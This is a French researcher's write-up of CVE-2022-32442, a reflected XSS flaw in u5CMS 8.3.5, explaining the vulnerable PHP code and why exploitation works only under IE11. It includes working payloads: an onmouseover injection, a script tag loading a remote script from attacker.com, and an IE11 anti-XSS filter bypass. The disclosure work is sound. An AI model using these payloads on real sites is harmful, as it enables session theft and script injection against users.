CVE-2022-32442
22 Juin 2022
Mis à jour
22 Juin 2022
Mis à jour
Je vous propose mon analyse de la CVE-2022-32442, qui est une vulnérabilité de type Cross-Site Scripting (XSS) dans le système de gestion de contenu (CMS) nommé u5CMS.
Vendeur : Yuba (https://yuba.ch/)
Produit : u5CMS (https://yuba.ch/index.php?c=u5cms&l=en)
Version(s) impactée(s) : 8.3.5
Type de vulnérabilité : Reflected Cross-Site Scripting (XSS) (CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'))
La page d'accueil d'u5CMS en version 8.3.5 est vulnérable à une faille de type Cross-Site Scripting (XSS) réfléchie. La charge peut être être injectée après le caractère ? de l'URL et est réfléchie dans les deux liens HTML permettant le changement de langue.
Ce qui suit le caractère ? de l'URL est réfléchie dans l'attribut href du lien <a></a> des deux (autres) choix de langues qu'offre le CMS :
L'injection d'un caractère " visant à s'échapper de l'attribut href afin d'injecter la charge malicieuse "onmouseover='alert(1)'value="&l=fr ne fonctionne pas. En effet, le navigateur encode les caractères spéciaux rendant l'attaque ainsi sans effet :
L'encodage effectué par les navigateurs est le résultat de la bonne implémentation de la section 2.2 de la RFC 1738 (https://datatracker.ietf.org/doc/html/rfc1738#section-2.2) :
Firefox, Chrome ou encore Edge sont des bons élèves et implémentent correctement cette RFC, mais ce n'est pas forcément le cas pour ce bon vieux IE11. En effet ce navigateur n'encode pas les noms et les valeurs des paramètres :
L'exécution d'un script distant est également possible grâce à la payload suivante "><script/src=https://attacker.com/xss.js>&l=fr :
Et ce, même si le filtre anti-XSS d'IE11 semble être bien actif :
Attention à lire également la partie "Code vulnérable" afin de bien comprendre le fonctionnement de l'attaque et la raison pour laquelle la vulnérabilité est exploitable seulement sous IE11.
Afin de prouver la présence de la XSS réfléchie sur n'importe quel navigateur il est possible de passer par une interception de proxy via Burp (ou autre) :
Le fichier index.php va rechercher les motifs {{{motifs}}} dans le fichier htmltemplate.css :
$template=str_replace('[_logo_]','r/logo/'.def($file_d,$file_e,$file_f).'?t='.filemtime('r/logo/'.def($file_d,$file_e,$file_f)),file_get_contents('r/htmltemplate.css'));
...
$i_i_item=explode('{{{',$template);
for ($i_i_i=0;$i_i_i<count($i_i_item);$i_i_i++) {
if (strpos($i_i_item[$i_i_i],'}}}')>1) {
$i_i_part=explode('}}}',$i_i_item[$i_i_i]);A un certain moment, le motif sera celui concernant l'affichage des liens de changement de langues {{{languages}}} :
<div id="main">
<div id="header" style="background:url([_logo_]);background-size:cover">
<div id="metanavi"> <a name="search"></a>{{{search}}}
<div id="languages">{{{languages}}}</div>Alors, le fichier nommé u5sys.languages.php sera inclus ($i_i_part[0] et aura pour valeur "languages") :
if (file_exists('u5sys.'.$i_i_part[0].'.php')) include('u5sys.'.$i_i_part[0].'.php');Ce nouveau fichier va afficher au sein de la page d'accueil les deux liens de changement de langues suivant la valeur contenu dans le paramètre de l'URL l :
if ($_GET['l']==$lan3na) {
$lancode=$lan3na;
$nbsp='';
if ($lan1name!='' && $lan2name!='') $nbsp=' ';
if($u5showlinkofactivelanguageinmetanavi=='yes')$lanswitch='<a href="'.chglang($lan1na).'">'.$lan1name.'</a>'.$nbsp.'<a href="'.chglang($lan2na).'">'.$lan2name.'</a>'.$nbsp.'<a href="'.chglang($lan3na).'">'.$lan3name.'</a>';
else $lanswitch='<a href="'. chglang($lan1na).'">'.$lan1name.'</a>'.$nbsp.'<a href="'.chglang($lan2na).'">'.$lan2name.'</a>';
}
...
echo $lanswitch;La fonction chglang() retourne la variable $u qui prend comme valeur le caractère ? ainsi que ce qui suit dans l'URL (grâce à $_SERVER['QUERY_STRING']) :
function chglang($l) {
global $lan1na;
global $lan2na;
global $lan3na;
$u='?'.$_SERVER['QUERY_STRING'];
//echo 'query string : ' . $_SERVER['QUERY_STRING'];
$u=str_replace('l='.$lan1na,'',$u);
$u=str_replace('l='.$lan2na,'',$u);
$u=str_replace('l='.$lan3na,'',$u);
$u=str_replace('l=','',$u);
$u=($u.'&l='.$l);
$u=str_replace('&&','&',$u);
$u=str_replace('?&','?',$u);
//$u=str_replace('&','&',$u);
return $u;
}Le coupable de la non exploitabilité de la vulnérabilité XSS sur d'autres navigateurs que IE11, à savoir à minima Chrome et Firefox, est la récupération de la valeur de l'URL par la variable $_SERVER['QUERY_STRING']. En effet, les donnée présentes dans l'URL et récupérées via ce procédé sont bien encodées par les navigateurs récents (la situation serait la même si les données étaient récupérées par la variable $_SERVER['REQUEST-URI']) et pas décodé par un composant côté serveur. Ce n'est pas le cas lors d'une récupération des données via la variable $_GET['variable'] par exemple.
$sql_a="SELECT * FROM languages";
$result_a=mysql_query($sql_a);
...
$row_a = mysql_fetch_array($result_a);
...
$lan1na=$row_a['lan1na'];
$lan2na=$row_a['lan2na'];
$lan3na=$row_a['lan3na'];Mise à jour du 10/07/2022
La reproduction du code vulnérable dans un contexte plus simple (hébergé toujours sur la même VM) :
<?php
echo 'a href="example.com' . $_SERVER["QUERY_STRING"] .'">lien</a>';
?>fait se déclencher la protection anti-XSS d'IE11 :
La cause de cette différence (entre l'environnement utilisé pour le test de u5cms et celui de PoC) n'a pas pu être identifiée mais le contournement suivant <script/%00%00v%00%00>alert(1)</script> semble fonctionner dans le cadre du PoC :
et également sur le CMS vulnérable :
